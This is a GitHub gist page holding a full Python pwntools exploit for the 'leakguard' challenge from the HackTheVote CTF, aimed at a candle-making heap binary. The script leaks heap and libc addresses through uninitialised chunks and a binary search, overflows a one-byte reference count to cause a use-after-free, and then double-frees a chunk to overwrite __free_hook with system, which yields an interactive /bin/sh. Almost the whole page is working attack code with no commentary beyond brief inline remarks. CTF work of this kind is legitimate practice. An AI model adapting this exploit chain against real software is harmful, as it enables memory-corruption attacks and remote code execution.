Skip to content

Instantly share code, notes, and snippets.

@PwnVerse

PwnVerse/exp.py Secret

Last active October 30, 2020 17:52
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save PwnVerse/b455bc609f5f95e7808b4c0789f8ff13 to your computer and use it in GitHub Desktop.
HackTheVote leakguard - Char Overflow triggering uaf
from pwn import *
import sys
import os
remote_ip,port = 'leakguard.hackthe.vote','1734'
binary = ['./candles']
reu = lambda a : io.recvuntil(a)
sla = lambda a,b : io.sendlineafter(a,b)
sl = lambda a : io.sendline(a)
rel = lambda : io.recvline()
sa = lambda a,b : io.sendafter(a,b)
re = lambda a : io.recv(a)
def choice(i):
sla("Choice: ",str(i))
def add_wax(oil_choice,dye_choice):
choice(1)
sla('Choice: ',str(oil_choice))
sla('Choice: ',str(dye_choice))
def delete_wax(wax_choice):
choice(2)
reu("Which wax would you like to dump:\n")
sla('Choice: ',str(wax_choice))
def add_candle(wax_choice,candle):
choice(3)
sla('Choice: ',str(wax_choice))
sa('candle:\n',candle)
def view_candles():
choice(4)
def delete_candle(candle):
choice(5)
reu("ndle:\n")
sla('Choice: ',str(candle))
def overflow_cnt():
#Keep adding and deleting candles in loops of 0x20 because there are only 0x20 candles possible at once
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x1e):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
for _ in xrange(0x7 + 8):
add_candle(2,'d'*0x10)
for i in range(2,0x20):
delete_candle(i)
def get_shell(free_hook,system):
#Trigger double free
delete_wax(2) #struct
delete_candle(0) #0->struct
delete_candle(2) #struct->0->struct
add_candle(1,p64(free_hook-1)) #return free struct, overwrite it with free_hook-1 to bypass leakguard
add_candle(1,'/bin/sh\x00')
add_candle(1,'/bin/sh\x00')
add_candle(1,'\x00' + p64(system)) #Get allocation on free hook-1, overwrite first byte with null to bypass leakguard
delete_candle(0)
if __name__ == "__main__":
#Exploit runs in a while loop
while(True):
if len(sys.argv)>1:
io = remote(remote_ip,port)
else:
io = process(binary,env = {"LD_PRELOAD" : "./leakguard.so"})
#Add wax , link 2 candles , free both candles such that one has a heap pointer
add_wax(0,0)
add_candle(0,'a'*0x10)
add_candle(0,'b'*0x10)
delete_candle(0)
delete_candle(1) #1->0, 0 and 1 bss pointers nulled out
#Return uninitialized free chunk to leak heap
add_candle(0,'\x01\x01') #consume 1 , tcache => 0 -> Null
view_candles()
reu('0: ')
heap = u64(re(6) + '\x00'*2) - 0x101
delete_candle(0)
try:
if(heap < 0):
raise EOFError
except EOFError:
log.failure("Restarting Exploit")
io.close()
continue
#Getting second byte of heap base with binary search
low = 1
high = 0xf
while(low!=high):
log.info("lo , hi = " + hex(low) + " " + hex(high))
mid = (low + high)/2
if(low + 1 == high and mid==low):
mid = high
add_candle(0,'a' + p8(mid*0x10))
view_candles()
reu("0: ")
leak = u64(re(6) + '\x00'*2)
log.info("Binary search leak = " + hex(leak))
delete_candle(0)
if(leak == 0):
high = mid -1
else:
low = mid
#We ultimately leak code base in most runs
heap += (low + 1)*0x1000
code = heap
log.info("code = " + hex(heap))
libc_ptr = code + 0x50a0
log.success("libc ptr = " + hex(libc_ptr))
add_wax(3,3)
add_wax(1,1)
# Add and delete candles , increase candle count upto 0x100 so that byte pointer of count gets nulled
overflow_cnt()
add_candle(2,'\x00')
#Trigger uaf on wax
delete_candle(2) #2
#Get allocation on wax structure, overwrite candle reference count with 0xfe so that it ultimately nulls out after 2 allocations
add_candle(2,p64(0xfe) + p64(libc_ptr+1))
#Leak Libc
choice(3)
reu("2:\n")
libc = int(hex(u64(re(5) + '\x00'*3)) + '00',16) - 0x3ec700
log.success("libc = " + hex(libc))
free_hook = libc + 0x3ed8e8
system = libc + 0x4f4e0
choice(2)
sla("candle:\n",'f\x00')
add_candle(2,'p\x00')
#Double free to get to free hook, overwrite free_hook with system starting with null to bypass leakguard
get_shell(free_hook,system)
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment